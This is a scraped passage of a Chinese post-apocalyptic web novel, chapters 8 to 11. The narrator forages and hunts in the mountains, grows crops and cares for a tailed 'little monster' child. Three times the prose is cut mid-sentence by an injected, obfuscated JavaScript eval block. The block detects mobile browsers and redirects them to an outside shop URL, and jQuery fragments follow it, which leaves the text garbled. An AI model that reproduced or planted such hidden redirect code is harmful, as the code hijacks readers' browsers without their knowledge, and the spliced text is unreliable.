我从前胆子小,特别怕死人,可是后来看得多了,整个人看得麻木,也就不觉得有什么好怕。眼神从那两个坟包上掠过,我抬脚走进了旁边的竹林。 竹子不管什么时间都是一样的苍翠,那些落叶的树木这会儿才刚长出来嫩芽,这些竹子还是这个样子。用手上的柴刀拨开地上的落叶,我在竹林里转了一圈,只看到了一个笋尖尖刚冒出土,其他的笋还没冒出来,我想再过上半个月,应该就能来挖笋了。 路过竹林继续往上走。这边还有一块野田,是从前有人在这里种花生的,我发现这片田的时候,里面还长着花生。去年冬天我在这里挂了个网,想网一些鸟,后来下了大雪封山了,我就没上来看过。 田里长满了野草,我之前挂在这里的网破了个窟窿,只剩下一个角系在田边的树枝上。我掂了掂背后的小怪物,走过去从野草堆里捡起那个网。 网上缠着一只巴掌大的灰鸟,看上去死了很久了,鸟尸被虫子和一些蚂蚁掏空,就剩下个干瘪的骨架子,连着几根灰黑色的羽毛。我把鸟尸解下来扔到一边,重新把网挂好,窟窿没补就那么放在那。 这边鸟还挺多,要是运气好,说不定能网到一两只。我也没期望这破网能网到什么,只不过是随手挂好,就继续背着小怪物往山上走。 再往上走上一段路,有人类活动过的痕迹就越来越少了,只有不知道从哪里传来的鸟鸣响彻整个林子。偶尔路边上会有些动静,那是鸟或者松鼠在荆棘丛里钻动。 小怪物从进了山就很安静,趴在我身上乖乖的嚼叶子。叶子是我在路上看到随手摘了递给它的,它也吃的很起劲。 可是没过一会儿,背上原本乖乖的小怪物忽然小声喊起来,我疑惑的看它一眼,觉得它大概是要拉粑粑,于是把它放了下来。 可是它刚被放下来就往一个方向指,嘴里一会儿咩咩咩一会儿嗷嗷嗷的乱叫。我一手捞起它顺着它指的方向走,很快找到一大丛兰花。 这兰花正在开花,味道很香。小怪物围着那丛兰花对我摇尾巴,我沉默一会儿,抄起小怪物头也不回的走了。 这小怪物好像特别喜欢吃各种花,这是什么食谱? 被我带着远离了那丛兰花,小怪物恹嗒嗒的,尾巴也不摇了。 我忽然想起来一件事,我十五六岁那会儿,好像特别喜欢花,养了一大阳台二十多盆,但我又不会照顾,都是我妈在照顾,她每天给那些花浇水,就要念叨我。 她是怎么说我的来着?好像记不太清了,我那时候嫌她啰嗦,左耳进右耳出,根本没记住,一句话都……不记得了。 8. 008 我现在进的这座山并不是单独一座的,而是一山连着一山,重重叠叠,后面一片都是起伏的山峦。进山打野东西,不需要一直往上爬,太高的地方打不到那些小东西,我想打的兔子斑鸠之类的东西,大多都活动在半山腰往下这个位置,往深里走就是进两座山之后。 我一边走一边注意周围的树木草叶,要是发现落叶上有什么大东西的脚印,树丛的树枝被大面积折断,我就需要换一个方向走,不然很有可能会遇上我对付不了的东西。 末世前进山就不是一件容易的事,末世后,很多动物植物变异了,进山的危险程度也提高了,不过和城市里还遗留的那些丧尸比起来,还是山里稍好一点,毕竟变异的动植物只是少数,而且很多只要小心别惹到对方的话,它们都不怎么会主动攻击人。 天气不怎么热,但我穿的厚实,还背着一个长得很快的小怪物和一堆东西,很快就出了一身汗,额头上的汗把刘海都打湿了。 我没理会,专注的往周围看。小型动物从附近经过的痕迹不明显,需要仔细观察才能看见,我要先在它们喜欢觅食的地方找找最新的痕迹。 忽然,我觉得额头上一凉,小怪物把它的爪子放到我额头上来了,它用握成拳的爪子给我擦额头上的汗,因为身子太短,我还听到它唔的努力伸长手的声音。擦了两下它缩回爪子,开始对着我的脸和后脖子吹气。 我扭头面无表情的按着它的脑袋,把它伸的老长的脖子按回去,顺手戳了一下它鼓起来的脸颊。 “别吹气,口水都吹到我身上来了。” 小怪物的成长速度很快,智力也比一般的孩子要高,虽然不能完全搞清楚我的话,但大多数时候我的意思它能明白,它从出生到现在,差不多快一个月,已经能在平地上走出十几步的距离了。 果然是个小怪物。 我抬手擦了一下额头脸颊上的汗,侧耳听了一下,叮咚的泉水流淌声隐约从右前方响起,我往那边走过去,没一会儿就看到了一条山溪。跳上小溪旁边的一块石头,把背上背着的小怪物放下来,我决定在这里歇一歇。 溪边的石头上长满了青苔,有点滑,我在上面用鞋底搓了搓,又用手里的柴刀在清澈的溪水里搅了搅,没发现什么异常,这才蹲下去掬起水洗了把脸。溪水沁凉,泼在脸上,立刻就把因为赶路生出的热度全都压了下去。 小怪物坐在旁边,看我去掬水,也学着我的动作往小溪里凑,一个不小心就往水里栽倒下去。我眼疾手快一下子拽住它的衣服把它捞回来,总算没让它真掉进水里。 用湿淋淋的手在小怪物脸上抹了抹,把它柔顺的黑色头发抹成三毛,然后我跟它说:“别乱动。”真摔下去了可没衣服换,而且这时候的溪水很凉,是从山顶上流下来的。 小怪物盯着我的脸看,又看看闪着光的清澈溪水,抓着自己的爪子,露出很想玩水的表情。 我抹了一把脸站起来,提着它的两只手,把它整个拎到了小溪上方。它的尾巴垂着,尾巴尖尖的部分被我放进了溪水里。那条覆盖着白色鳞片的尾巴一到水里,小怪物马上就咔咔咔的笑起来,把垂直的尾巴卷着缩起来。 我觉得它的意思是这溪水太冷了。 我提着它继续往下放,脚爪子也渐渐能碰到冰凉的溪水,它又把脚爪缩起来,随着我不断往下放的动作,它缩成了一个球,努力抓着我的手,像一只抓着树枝的树袋熊。 手酸,我把它放回石头上,说:“还想玩水吗?” 它抓着自己的脚爪,打了个寒颤,忽然又打了个喷嚏。那真是个威力巨大的喷嚏,把它自己震的往后栽倒在石头上。 小怪物倒在石头上一脸懵逼,雪白的小脸蛋再加上那双黄绿色的竖瞳大眼睛,做出这个表情,看上去既怪异又搞笑。有种凶萌凶萌的感觉。 这一片树林不怎么密,都是低矮的树丛,高大的树冠都生长在更高的地方,所以阳光能透过那些大大小小的缝隙落下来。小怪物的面前刚好有一个光斑,它被吸引了注意力,专心致志的用爪子摸着石头上的光斑。 我撩起水洗完脸,坐在石头上看小怪物傻乎乎的摸光斑摸了大概三分钟。我背上它重新出发的时候,它还恋恋不舍的看着那个映在石头上亮亮的光斑。 我走得很快,大约下午的时候我已经进到了重山里面,在几个山里的水塘边发现了不少痕迹,还发现了两个兔子窝,可惜里面都是空的。 晚上的时候,我找了个比较开阔的地方休息。周围都是落叶树枝,随便拢一拢就能生起一个火堆。搬一块石头放在火堆旁边,把装水的铁罐子放在火上烧热水,早上烤的饼子已经冷了,用铁丝穿起来架在火堆上烤热。 铁罐不大,里面的水不多,不一会儿就烧的咕嘟咕嘟冒泡,薅一把厚厚的绿叶当抹布,把滚烫的铁罐拎到一边放凉,继续烤饼。 焦香的味道让我的肚子咕噜噜响起来,靠在我怀里啃白菜的小怪物动作停了一下,然后它趴在我肚子上认真的听了一会儿。 我都能猜到它要干嘛,果然,它趴在我肚子上听完,把手里的白菜叶子递给了我。我低下头咬了一口白菜叶子,然后把它的爪子按回去,它就开开心心的继续啃白菜了。 烤过的饼子比之前还要硬,但喝着水也没那么难以下咽,任何一个经历过末世的人都不会嫌弃食物难吃。 饼外面那一层焦皮脆脆的,我咬起来咔滋咔滋的响,无意中低头一看,小怪物又开始盯着我了。它那双眼睛太大,在黑夜里还会泛着幽幽的光,我之前好几次晚上无意中就被它这眼睛给惊到,不过现在已经差不多习惯了。 不仅习惯了,我还偶尔能从里面读出来它的一些想法,比如现在,我猜它又对我手里的饼好奇起来。这小家伙有着旺盛的好奇心,对什么它没见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726910|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的东西都会很好奇,能发出声音的,散发出各种气味的,尤其让它感兴趣。 我剥下烤饼表面的焦壳递给它,手还没伸过去呢,它就自觉的张大了嘴。它那张嘴张大的时候真的很大,我每次给它喂东西,都感觉它一不小心就会咬到我的手。 而且它不知道为什么,明明能自己吃东西,却更加喜欢我喂给它的食物,每次我给它喂食,它都很开心,尾巴摆来摆去,嘴巴张的老大,总会让我想起巢里的雏鸟,见到大鸟飞回来了就张着大嘴要吃的。 我有时候会觉得小怪物出现的时间太好了,它要是出现在我自己都吃不饱那两年,别说喂给它食物,说不定它自己都会被当成口粮。前几年那时候,没有人会分享食物给其他人,即使是亲人爱人,也很难在那种极度饥饿的环境下放弃自己的希望,让给别人。 还好我只是一个人,不用考虑别人,那个时候我就会忍不住这么想。现在…… 我把那片焦壳放进小怪物嘴里,它咬出了和我一样的咔嚓咔嚓声音,顿时高兴的咩咩叫起来,让我去看它的嘴,然后继续咔嚓咔嚓咬。不过咬两下就没了,发觉嘴里没东西了,它吧嗒吧嗒嘴,也没继续管我要吃的,就伸出爪子抱着我的腰准备睡觉。 我继续吃自己的晚饭,之前没注意,但是被小怪物这么一闹,我开始有意识的注意起来自己咬出的咔嚓声。一声两声,咔嚓咔嚓,我忍不住数起来,吃完后我才意识到自己刚才在做一件很无聊的事情。 小怪物睡着了,睡的很安心。山上夜里很冷,虽然火堆就在前面,但能烤到火的地方是热的,背后却是凉嗖嗖的,凉风一吹就感觉更冷了。 在外面漂泊的日子太多,这样幕天席地的日子更是早就习惯,只有在这种抬头能看到天的地方住久了,才会更加深切的向往一个能遮风挡雨的房子。 半夜里,山里下起了毛毛细雨,火堆熄灭了,我抱着熟睡的小怪物躲到树底下。考虑到可能会下雨,我带了雨衣。 这种深蓝色的雨衣是放在摩托车上的那种,前后摆都很长,还有帽子。我记得我上小学的时候,雨天里,我爸就骑着车穿着这样的雨衣来接我。 那时我坐在后座,抱着我爸的腰,蓝色的雨衣把小小的我遮住,将我和外面的雨幕分隔成两个世界。噼啪的雨声打在我头顶的雨衣上,雨衣下摆被风掀起来,能看到路上被雨滴砸出来的雨花…… 默默将雨衣穿在身上,我站在树底下等雨停。细细的雨丝打在雨衣上,并没有发出噼啪的声响。春雨大多时候都下的这么安静。 雨虽然下的不大,但是没了火堆,身体的温度迅速下降,让人觉得特别冷。小怪物被我抱在胸前,那里很温暖,雨衣阻隔了雨滴,它在里面睡的很安稳。 它躺在我身上最暖和的地方,同时,它自身散发出来的温暖也让我好受了很多。此刻的小怪物就像个小暖炉一样。 9. 009 细雨没下多久就停了,天还没亮,我干脆也不找地方睡了,直接带着小怪物开始往前继续走。夜里其实也会有很多小型动物跑出来,那些动静比白天更容易听到。虽然山里的夜晚没有白天那么安全,但现在这时候哪里有绝对安全的地方。 大概是凌晨五六点钟的样子,我听到了前面刺丛灌木里传来的叫声。马上停住脚步,仔细听了几声。黑乎乎的树丛里有几个黑影在走动,不时还有扑扇翅膀的声音,两个黑影扑啦啦从低矮的树枝上飞下来,踩在落叶上发出沙沙的声响。 听叫声应该是竹鸡,我套过竹鸡,算是比较好抓的那种。我又耐心观察了一会儿,发现前面那一丛树丛周围至少有六只竹鸡。就算不能全抓,抓到一半也不错。 小怪物还在我胸前睡着,我把它摇醒,然后捂着它的嘴不让它发出声音,接着迅速把它连同其他东西一起放在一边,只从工具里面翻出来一张渔网和一个网兜子。这个网兜子成一个漏斗状,最上面的口子缝在圆形的铁丝口,只要接上长一点的杆子,可以用来捞小鱼小虾。 我一直很喜欢用这东西,因为用它来抓鸟也特别方便。不过没练过的普通人很难抓到,我是习惯了看到什么能吃的就去抓,身手练得不错,几年下来对于抓这些小玩意也琢磨出了一套办法。 人被逼到绝境的时候,什么都是能学会的,要是我十六岁那会儿有人跟我说我能用这么个简陋的网兜,去抓野鸡竹鸡和鸟之类的东西,我是绝对不会相信的。 顺手把那个漏斗网兜插在腰上,我一手拿着网解开,然后轻轻的踩在周围树木凸起的树根上。这些竹鸡的警惕性很强,要是听到声响就会跑,所以我只能尽量的少发出声音,就连踩落叶发出的声音也轻的几乎听不见。 我刚才就已经观察了地形,这个地形对我有利,这边一片刚好把网挂上去就能拦住一个口子,在两个方向分别固定好网,我站起来把网一撒,忽然拿出网兜套向离我最近的一只竹鸡。理所当然的没抓到,它们被我惊吓住,都开始四散奔逃。 我没有去在意从我身边比较远地方跑走的两只竹鸡,而是专注的把距离比较近,凑在一起的其他几只竹鸡往我之前布网的地方赶。这些东西的智商都不高,很快就在慌乱中被我赶进了网。 我踩在网上把那几只竹鸡赶到一起,再用网兜去套,这次因为距离缩小了很多,很容易就被我套种。我把网一收紧,把那些挣扎的竹鸡全都罩在里面,一手解下绑在腰间的一个袋子,把竹鸡连网一起装进袋子里。 我动作很快,也很顺利,掂了掂那袋子的重量,我满意了,刚才那些竹鸡挣扎的时候我数了下,好像这里有五只。之前还有一只在刺丛里没动,我也就没发现,阴差阳错也被我一网全都罩进来了。 装竹鸡的口袋是不透气的,这样的话很快它们就会被闷死。我还要在山里待一天,所以最好不要弄出血腥味,因此闷死就是最好的选择。如果不能闷死,捏着脖子捏死也是一种不错的选择,但这会儿刚抓到的竹鸡还闹腾的厉害,伸手进去会被啄,所以我把袋子扎紧就没管了。 我提着袋子走回去的时候,小怪物趴在一堆工具上面没动,平时我把它放下它都会飞快的追着我过去,但这回也不知道它是不是知道我在做什么,竟然就乖乖待在这里等着。 袋子里的竹鸡还在动弹,小怪物瞧着鼓起来的袋子满眼好奇。我把袋子往它跟前一放,它看看我,用爪子去碰袋子,又被忽然动弹起来的袋子吓了一跳。 接下来的时间我就在树下坐着,顺便把刚才被弄乱的网重新理顺。小怪物蹲在装竹鸡的袋子旁边,看到袋子动一下就高兴的摆摆尾巴,自己一个人也玩的很开心。 天亮的时候那些被我装进密闭小袋子里的竹鸡没动静了,我打开袋子看一下,然后系紧挂在腰上,这沉甸甸的感觉让我心情很好。 山里空气非常好,路边的很多树上都长着嫩绿的叶子,我还看到一株快要开花的映山红。再晚一点才是映山红一串香这些山花大面积开放的时候,但现在,路边也偶尔会出现提早开花的植物。 小怪物在我背后一点都不老实,看到有气味好闻的嫩树叶和花,就用脑袋顶我后脖子,咩咩咩的扭动。我只能一边走一边薅路边的草叶花枝,一股脑塞给它。 我没养过孩子,更没养过小怪物,我也不知道它什么能吃什么不能吃,反正只要它要我就给它吃,真吃出了什么事就到时候再说吧。反正我自己这么乱吃也活到了这个时候,这小怪物的生命力看上去是比我强多了。 这么一路走,我发现了一个水塘。山里的水塘边经常会聚集着各种小动物去喝水,我在水塘边上看到了不少的鸟毛,也有我最开始想打的斑鸠羽毛。 我决定在这里守着。选了个下风口的位置,我和小怪物一起藏在水塘边树丛后面,旁边就是一棵大树。从这个树枝看,我觉得不少鸟会停在这棵树上。我注意着周围的动静,小怪物也没有在家里那么好动,我给它薅一把草叶子,它就乖乖坐在我身边啃草叶子。 吃饱了的话,我给它两片红叶子它也能玩起来,非常好打发。 也许我的好运气已经用完了,在这里守了好一会儿也没见到一只鸟影。我看着天色盘算什么时候离开的时候,忽然草丛里一阵响,我立马按住小怪物,让它别动,自己手中已经摸到了早就准备好的弹弓。 不同的地方不同的猎物,要选择不同的捕捉方式。 一只斑鸠停在水塘边的低矮树枝上,它在树枝上动了动爪子,脑袋侧了侧,发出咕咕咕的叫声。 我把弹弓对准它,可是还没射出去,那斑鸠就唰的一下飞了起来,飞到了远处的树枝上,接着不见了。 放下弹弓,我一低头发现小怪物被我刚才那一按按倒在地,现在还倒在地上。我拍了一把它的屁股让它起来,小怪物爬起来抓我的手,把我的手放在自己脑袋上,然后咕咕咕的叫,叫的和那只斑鸠似得。 我反应了一会儿才明白它的意思,它是要我和刚才一样按它的脑袋把它按倒在地。我不想陪它玩这么弱智的游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726911|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 …… “咔咔咔~”小怪物再次从地上爬起来,脸上还黏着一片树叶,它用自己的小爪子再次把我的手抬起来放在脑袋上,黄绿色大眼睛里满是再来一次的期望。 都玩了十几次了也差不多够了吧,被我按在落叶堆里就那么好玩吗?小怪物的脸不痛?我不想纵容它了,重新拿起弹弓,眼睛在水塘周围的树丛里四处搜寻。 小怪物见我不玩了,自己啪的躺倒在地,然后咕咕咕的叫起来。 说起来它的叫声真的多种多样,不管是咩咩咩还是嗷嗷嗷还是咔咔咔,反正它发出什么样的声音我都不奇怪,只不过它不会说话。 也可能是因为我不常说话,它听不到人说话,也就不会学?就算是这样,我也不想教它说话,现在这样就够了。要是能交流的话,我想自己可能就无法再把它当个小怪物,也无法用‘它’来指代小怪物。 那是一件令我感到恐惧的事。 忽然,耳边又响起咕咕咕的叫声,这叫声和小怪物那种怪异的咕咕咕叫声不同,是真的斑鸠。灰白羽毛的斑鸠落得地方离我很近。我怪异的想,该不是小怪物的叫声把这傻斑鸠引过来的吧? 石子被弹弓弹射出去,刚好射到那只斑鸠身上,但斑鸠没那么容易被射死,它惊了一下还想飞走,但是这会儿我第二颗石子已经再次砸中了它。 把那只斑鸠捡回来,我捏着小怪物的脸颊说:“继续叫。” 也许真的是因为小怪物的咕咕叫,又引来了一只斑鸠,比刚才那只要大,两颗石子下去还没死,差点被它跑了,还是出动网兜才把它抓住。 抓了两只斑鸠,已经过了中午,要想今天天黑前下山,现在就得动身往回走。这回的收获还算满意,我也没想在这里多留一天,收拾东西抄上小怪物就离开这里。 山里认路说难不难,说简单也不简单,初次进山的人要是偏离了被踩出来的路肯定是要迷路的,但我能记住,这也算是一种磨练多年的能力吧,毕竟我从前也往山上钻过,为了逃避一群人的追捕还在山里藏了三天,饿的生吃蘑菇。 下山前,我把小怪物之前指给我看的那一大株兰花挖走了。我挖兰花的时候,小怪物抱着我的腿蹭,一个劲高兴的咩咩叫。 看它这样,我就想起我小时候想要买什么东西,也会抱着我妈的大腿磨蹭,等她答应我的要求了,我也会像这样撒娇。所以说小孩子果然都是一样的。 下山的时候还发现了个意外之喜,那片花生田里随便挂上去的网挂住了一只小鸟,虽然少但也是肉啊。 走到这里的时候已经离村子很近了,天色也开始变黑,只有远处连绵的山上还透着一层晕黄的光,像是给那一片的山镶了条边。 往来时的路回去,又经过那棵桃花树下,青石板上落了一片的粉红色花瓣,大概是昨晚上那场雨给打下来的,底下的小溪边上也落了一层。 小怪物又想去抓桃花,被我拍了下爪子。 踩着最后一抹微亮,我们回到了家里。 10. 010 因为天气忽然就热了起来,所以现在应该是清明过后了。 我没日历,现在也很少人记时间,从前几年过得浑浑噩噩,哪里管什么季节,分得清春夏秋冬也就差不多了。李姨还在的时候,爱念叨节气,什么现在是春分了,到了夏至了,好像是过端午了之类的,我也不知道她是怎么分辨出来的。 但是现在,我莫名其妙也能从气候的改变和各种作物的生长上觉察出大概时间了,我觉得这应该是一种属于地里刨食的农人习惯,也许我在这里再住几年,也能变成李姨那样,看看天气看看田里的状况,就能知道现在是哪个节气。 不过现在我还差的有点远,因为我不是个地道的农民,没有哪个农民会像我这样,完全弄不清楚什么时候该种什么,只能瞎种一通。 我从前没关注过种田,之前天气极端恶劣,很多地方植物生长就和人一样稀稀拉拉,没有人有心思种田,大家都忙着到处乱窜逃亡。这两年安定下来,我试着种了不少东西,只要我能找得到种子,我都会试着种一种。 关于种东西,我只知道春天种秋天收,至于每种作物要在不同季节种什么的,我完全分不清。所以我的种植其实失败了很多次,比如花生芝麻我都种过,也不知道是种下去的季节不对还是其他问题,都没能长出来,烂在地里了。 失败了不少,成功的有一些,总算积攒了点经验。不止地里的活计,山里田野里到处能吃的东西,我也差不多摸了个底。 盘算着山里的笋长出来了,我找了个日子带着小怪物去挖笋,就在我们之前进山的那条路往上走,有两座坟包的那个竹林。 之前来看的时候还是一片的枯叶,现在就能发现地上冒出了一个个的笋尖。这种笋用李姨的话来说是大毛笋,比小怪物的大腿粗,一顿挖一个也就够了。长出来太高的笋不要,那都太老了,放在那不管它让它长成新的竹子,只找那些冒出来一点尖尖的笋,这样的笋吃起来嫩。 竹林里挖笋其实不太好挖,但是这种时候有个技巧,竹林和旁边的路上有落差,不少笋就会长在边上的土壁,这种笋就好挖多了,用锄头刨两下,那些土就会顺着坡度掉下来,三四下就能完整的挖出来一只笋。 我把那一片的二十几只笋都挖了,还留了十几个长老了的笋在那没动。这笋挖回去吃不完,可以切成片晒干,做笋干,存在那以后吃。笋大概还有一波生长期,再过几天来看,这边地上又全都是冒出来的笋尖尖了,非常快。 除了这种大毛笋,还有拇指头粗细的那种细笋,叫水竹笋,一般长在山脚刺堆塘边上,那些竹子都不怎么高,竹竿也比较细。不过这种水竹笋笋比大毛笋更嫩些,就生吃了也是味道很好的。不过这个时间水竹笋还没起来,想吃得再等一段时间才行。 挖笋的时候我在竹林边上看到了很多低矮的刺花,一朵朵的白色开的很漂亮,小怪物一看到就想去摘,被我给拦住了。 这种花等谢了之后会结果,果子叫地莓,拇指肚大小一个,外表是鲜艳的红色,就和缩小版的草莓似得,非常好吃。末世前,每年春末家里附近的超市都会进一批这样的地莓,我每年都会要闹着吃。 小怪物还是那样,我不让它吃的,它就乖乖不吃了,自己在竹林里溜达。 等挖完了笋,我用扁担挑着两个装满笋的篮子下山,小怪物怀里也抱着一个笋跟在我身后。它现在已经会走路了,虽然走的跟个企鹅似得一摇一摆,但出乎意料的非常平稳。人类孩子的成长周期在它这里被缩短了很少,现在它站起来脑袋能到我膝盖往上大腿中部,还重了很多,我已经不能再经常抱着它了,手累。 除了手和脚是爪子,还有一条尾巴,眼睛颜色不一样,耳朵很小,它看上去就和一个普通的孩子一样,身上是光滑的皮肤,头上是越长越长的头发。只不过它身上看上去光滑的皮肤比婴儿有韧劲多了,至少我从来没看到它在地上摔摔爬爬弄出过什么划痕淤青来。 它每天还要吃大概十斤菜,几乎不停的在进食,我吃饭的时候它在啃啃啃,我休息的时候它还在啃啃啃,也难怪长得这么快。 小怪物忽然噗的往前摔了一跤,怀里抱着的那个笋咕噜咕噜滚到了我脚边。我停下步子回头看它,它自己爬起来,摇摇摆摆走过来把那个笋重新抱到怀里,歪着脑袋蹭了蹭我的腿。 我接着往前走,它抱着个大笋吭哧吭哧尽量跟紧我的脚步。 它怀里抱着的那个笋是属于它的,我刚才挖笋的时候它就抱着一个笋用力的拔,等我挖完二十几个笋,看到它已经把一个笋挖出了一半,弄得两只爪子都是土。 我把它推到一边,几锄头下去挖出笋给它,它就喜滋滋的抱着不放开了。 回到家,我拖过圆形的小矮凳,找了个大盆放在水井边上,把笋全都堆在一边,准备把笋衣给剥了。棕麻灰色的笋衣一层层的被剥开,露出里面一截截的白色笋肉,等完全剥完的时候,去掉了厚厚笋衣的笋体积小了一半,放在那就像个小塔。 小怪物坐在另一个圆形小矮凳上,学着我的姿势剥笋。在它剥笋前,我先给它洗了洗爪子,不然满是土待会儿把里面的笋肉弄脏了。它学着我的样子一层层剥开了笋衣,虽然最后出来的成果有点不太好看,但总算也剥出来了。 它剥完笋,高兴的举给我看,我看了两眼,嗯了一声,它就好像得到了什么肯定,把笋收回去,抱在胸前开始啃起来。 对于它这个行为我没阻止,这段时间都这样,带它出门的话,只要路边它看到什么想吃的东西都会自己跑去摘,然后坐在我身边就开吃,它的进食时间也没有一日三餐那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726912|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么稳定。 看它已经开吃了,我加快了剥笋的速度,之前还一层层的剥,现在直接把一个笋竖着切两半,撕两下就能完全把笋衣给剥掉,比之前快很多。剥完所有的笋衣,我只留出来两个笋,其余的都切成片,用竹编的竹板摆在院子里摊开晒好。 午饭吃的是面,把面粉和好摊到最薄后,用刀切成一条条的那种面。还有一道菜,是竹鸡炖笋。 之前山里抓到的竹鸡全都腌了晒干,到现在一共也才吃了一只半。拿半只竹鸡切成块,和分成薄片的笋子一起炖,再加上一些野菜,光是闻着味道就让人不自觉咽口水。 咕嘟咕嘟,竹鸡炖出来的汤有种偏白的颜色,一层油花飘在周围,被清爽的野菜吸饱,一片片的竹笋则不为所动,依旧是脆口鲜嫩的模样。大锅里的水在翻滚,水汽蒸腾,将切好的面倒进去,一下子就被滚烫的水抛起来,完全煮熟也不过三分钟左右。 竹鸡竹笋野菜汤倒进面里搅拌一下,各种滋味都能让原本寡淡的面交融出不一样的特殊味道。 只有吃东西的时候,我心中的幸福感才会忽然出现,让我感到满足。能吃饱就已经够奢侈了,我真心的感激着现在的一切。 我看着小怪物吃东西的时候常常觉得它似乎很满足,我想它看着我吃东西的时候,大概也会觉得我很满足吧。 把煮的面和那一小盆竹鸡竹笋全都塞进肚子里,感觉不只是胃,连心和脑子都被充满了,非常充实。 下午去地窖里,发现一些红薯发芽了,我把那些发芽的红薯全都拣出来,准备明天就去种下。这两年我种的最好的就是红薯,这东西好种,收获多,还顶饿。 顺便我还把地窖打扫了一下,看着天气好,又在大太阳底下给小怪物洗了个澡。给它洗脑袋的时候,我抓着它一头黑发想是不是长太快了,有点想给它剃掉。小怪物不知道我在想什么,它抬起脑袋仰面对着我,眯起眼睛,嗯嗯嗯的喊着来抓我的手。 眼睛进水了,不敢睁开眼睛。 我随手用袖子给它擦了擦眼睛,然后抓抓它的头发,放弃了给它剃掉的想法。 我下手没轻重,还是算了。 清早太阳还没出来,我已经下了田。去年秋天收了红薯之后,田里就没管了,这时候上面都长满了野草。最多的是紫云英,形状像是小小的紫色莲花,一大片一大片的,这边的十几块田里都长满了,除了紫云英还有苜蓿,紫花地丁、蟾蜍草、牛筋草那些,反正我都尝试吃过,吃不死人。 被我一起带到田里来的小怪物就坐在田头拔紫云英往嘴里塞,看上去也是吃的很高兴。 我在这边挥舞着锄头挖地,把那些在春光里摇摆的漂亮小花都铲掉,埋进土地,小怪物在另一头,欢快的吃着草。 我觉得我是在放牛。 11. 011 我的牙刷,彻底坏了,就剩下光秃秃一个杆子。 但我从前听人说过,嚼柳树枝条也能当刷牙,好像是听谁说,又好像是我十几岁时候在网上看到的一些偏门知识。牙刷难找,柳枝还是有很多的,这会儿村里那好几棵柳树都正长嫩芽,我撇了几根柳条回来,还没打理,去厨房拿个盆的功夫回来,就发现柳条上面的嫩芽全都被小怪物薅下来吃掉了,就剩下几根光秃秃的枝条在那。 把光秃秃的柳条折成小段,浸在水里,早上拿一根放在嘴里嚼,那味道又苦又涩,嚼出的刺棱有点刺嘴。小怪物蹲在我身边噗水,扭着脑袋看我嚼柳枝,它也试着拿了一根放进嘴里嚼。它的牙齿显然比我好多了,我就听到磕磕嚓嚓一阵响,那根柳枝已经被嚼烂咕嘟一声咽下去了。 我含了一口水,把嘴里那涩涩的味道洗掉,然后捏着小怪物的嘴巴看它的牙。每天我刷牙的时候它都蹲在旁边漱口,但是经常漱着漱着就变成喝水,把一瓢水都给喝了,每天早上起来就喝了一肚子水。 小怪物的牙齿很白,看着也很锋利,我拿了根柳枝塞了一半进去。 小怪物明白我的意思,非常卖力的嚼起来,咔嚓一声就把柳枝咬掉了半截。我放手不管它了,它好像不适合嚼柳枝。 嘴里涩涩的感觉一直没下去,还有一股奇怪的味道,我去给院子里的一些小菜浇水的时候,看到角落里那两棵茶树长芽了。茶叶好像也能清洁牙齿?我忽然想到这个,顺手揪几片叶子塞嘴里嚼嚼。 虽然味道也很涩,但气味好闻,感觉嘴巴里清新了一点。小怪物又跟到我身后了,它最近很好学,看我做什么也要做什么,这会儿它就学着我的动作也摘了一把茶叶放嘴里嚼,不过它摘的都是那种老茶叶。它好像不太喜欢吃茶叶,小脸蛋上的表情有点像是吃到了不好吃的东西。我给它掐了几棵嫩芽,它还是那副很勉强的表情咽了下去。 这是我第一次发现这小怪物竟然还有不喜欢吃的东西,平时我看它吃什么都很开心,不管是路边的野草野花,还是地里山里的树叶杂草,就没它不吃的。 之后我保持着每天起床嚼柳树枝,然后再掐两片嫩茶叶嚼嚼的习惯。 茶叶再过段时间就不嫩了,我想着要是以后没有嫩茶叶了,喝喝茶也可以,决定把茶叶摘下来晒晒,以后泡茶喝。说起来也奇怪,这两棵茶树一直长在这,我前两年却一直没想着摘茶叶喝茶。 地里的红薯苗前两天已经全部种好了,现在就偶尔去浇浇水,我有点闲不下来,找了个干净布袋子把院子里的两颗茶树上长出来的嫩叶子全都摘了。但是这茶叶太少,我干脆又跑上了山。山上偶尔也会长着野茶树,我之前就见到过。 小怪物也还是跟着我,我给它也挂了个小布袋,不过不是让它摘茶,而是让它装一些它自己想摘的东西。 